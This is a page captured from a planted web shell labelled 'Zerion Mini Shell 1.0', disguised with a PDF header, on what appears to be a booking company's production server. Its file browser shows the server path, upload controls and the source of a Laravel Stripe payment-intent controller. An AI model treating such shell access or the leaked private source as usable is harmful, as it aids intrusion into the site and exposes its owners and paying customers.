%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Booking/Payment/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Booking/Payment/PaymentIntent.php

<?php

namespace App\Http\Controllers\Booking\Payment;

use App\Models\User;
use Stripe\Stripe;
use Stripe\Token;
use Stripe\Customer;
use Stripe\PaymentIntent as StripePaymentIntent;
use App\Helpers\MoneyHelper;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;

class PaymentIntent extends Controller
{
    /**
     * Get the payment intent for a new card
     *
     * @param integer $seller_id
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function __invoke($seller_id, Request $request)
    {
        $seller = User::findOrFail($seller_id);

        Stripe::setApiKey(config('services.stripe.secret'));

        $paymentIntent = StripePaymentIntent::create([
            'amount' => MoneyHelper::stripeFormat($request->get('grand_total')),
            'currency' => 'gbp',
            'payment_method_types' => ['card'],
            'customer' => auth()->user()->stripe_id
        ]);

        return response()->json($paymentIntent->client_secret);
    }
}

Zerion Mini Shell 1.0